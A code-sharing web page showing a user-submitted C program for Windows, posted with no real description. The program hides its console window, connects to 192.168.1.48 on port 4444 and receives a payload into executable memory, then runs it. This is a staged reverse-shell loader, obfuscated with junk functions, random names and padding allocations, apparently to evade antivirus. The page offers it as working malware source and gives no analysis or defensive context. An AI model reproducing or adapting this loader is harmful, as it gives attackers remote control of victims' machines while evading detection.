Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  comp
Language: C/C++
Code:
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include <time.h>
#include <signal.h>
#include <math.h>
#include <stdio.h>
char* lhpqTBli(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\0'; return t2; }
char* ZdpixNysAkoXd(char* s){ char *result =  malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\0'; return result; }
void hxRUNdvGPSLX() {WORD fJrBtwl = MAKEWORD((0*3+2), (0*3+2)); WSADATA myQPCTxktFoy;if (WSAStartup(fJrBtwl, &myQPCTxktFoy) < 0) { WSACleanup(); exit(1);}}
char* udxEQzldoQF(){ char AFqkZpioOpybc[3323], gWRdNfBvXXyMsg[3323/2]; strcpy(AFqkZpioOpybc,"AqcWeVxlbgOCtsOWcIDneThjMAsmikAjTwesbqnSInCItFCRbT"); strcpy(gWRdNfBvXXyMsg,"YQkLlXpdqUJKKylKWphAvilQUGRAuzDKOKdLglQpWrWcLqxGaN"); return ZdpixNysAkoXd(strcat( AFqkZpioOpybc, gWRdNfBvXXyMsg)); }
void dUFyvtvWYN(SOCKET qIPwZPPDsaPYE) {closesocket(qIPwZPPDsaPYE);WSACleanup();exit(1);}
char* txlzaa() { char yjSObj[3323] = "gttQGURBBwAOSWkhCfyuJpnVZjHMNewcTXrRxNdaSATkWRWbWb"; char *kRaRTIAzaUYE = strupr(yjSObj); return strlwr(kRaRTIAzaUYE); }
int fcBaHYoJqJyCLp(SOCKET XPqBepeiI, void * MRJqPPm, int msRZRAZAYwwScq){int slfkmklsDSA=0;int rcAmwSVM=0;void * startb = MRJqPPm;while (rcAmwSVM < msRZRAZAYwwScq) {slfkmklsDSA = recv(XPqBepeiI, (char *)startb, msRZRAZAYwwScq - rcAmwSVM, 0);startb += slfkmklsDSA; rcAmwSVM   += slfkmklsDSA;if (slfkmklsDSA == SOCKET_ERROR) dUFyvtvWYN(XPqBepeiI);} return rcAmwSVM; }
char* HixGoscHVoCBt(){ char *NpUvSlLIeb = lhpqTBli("inFcRfkSCtWNNrIeGofEsaVQmXOfbWHRaClNFHhxXowxmQZgFw"); return strstr( NpUvSlLIeb, "X" );}
SOCKET sJMrYhqkqKGp() { struct hostent * ONvjYJwoxhQAT; struct sockaddr_in btVHFSZoVUbKG; SOCKET PaDRwaFdFo;PaDRwaFdFo = socket(AF_INET, SOCK_STREAM, 0);if (PaDRwaFdFo == INVALID_SOCKET) dUFyvtvWYN(PaDRwaFdFo);ONvjYJwoxhQAT = gethostbyname("192.168.1.48");if (ONvjYJwoxhQAT == NULL) dUFyvtvWYN(PaDRwaFdFo);memcpy(&btVHFSZoVUbKG.sin_addr.s_addr, ONvjYJwoxhQAT->h_addr, ONvjYJwoxhQAT->h_length);btVHFSZoVUbKG.sin_family = AF_INET;btVHFSZoVUbKG.sin_port = htons((1481*3+1));if ( connect(PaDRwaFdFo, (struct sockaddr *)&btVHFSZoVUbKG, sizeof(btVHFSZoVUbKG)) ) dUFyvtvWYN(PaDRwaFdFo);return PaDRwaFdFo;}
int main(int argc, char * argv[]) {ShowWindow( GetConsoleWindow(), SW_HIDE );ULONG32 UoZaiaRcd;char * TZuHNfjvFjU;int i;char* CSjaMmYRIE[3718];void (*iQcgSabMpzVrhq)();for (i = 0;  i < 3718;  ++i) CSjaMmYRIE[i] = malloc (3498);hxRUNdvGPSLX();char* xLIrOrXXkN[9200];SOCKET pFJfmaKfe = sJMrYhqkqKGp();for (i = 0;  i < 9200;  ++i) xLIrOrXXkN[i] = malloc (7929);int nTiaQfJ = recv(pFJfmaKfe, (char *)&UoZaiaRcd, (4*1+0), 0);if (nTiaQfJ != (2*2+0) || UoZaiaRcd <= 0) dUFyvtvWYN(pFJfmaKfe);TZuHNfjvFjU = VirtualAlloc(0, UoZaiaRcd + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);char* jfPdpI[6940];for (i=0; i<3718; ++i){strcpy(CSjaMmYRIE[i], udxEQzldoQF());}if (TZuHNfjvFjU == NULL) dUFyvtvWYN(pFJfmaKfe);TZuHNfjvFjU[0] = 0xBF;memcpy(TZuHNfjvFjU + 1, &pFJfmaKfe, (4*1+0));for (i = 0;  i < 6940;  ++i) jfPdpI[i] = malloc (8852);for (i=0; i<9200; ++i){strcpy(xLIrOrXXkN[i], txlzaa());}nTiaQfJ = fcBaHYoJqJyCLp(pFJfmaKfe, TZuHNfjvFjU + (5*1+0), UoZaiaRcd);iQcgSabMpzVrhq = (void (*)())TZuHNfjvFjU;iQcgSabMpzVrhq();for (i=0; i<6940; ++i){strcpy(jfPdpI[i], HixGoscHVoCBt());}return 0;}
Comments: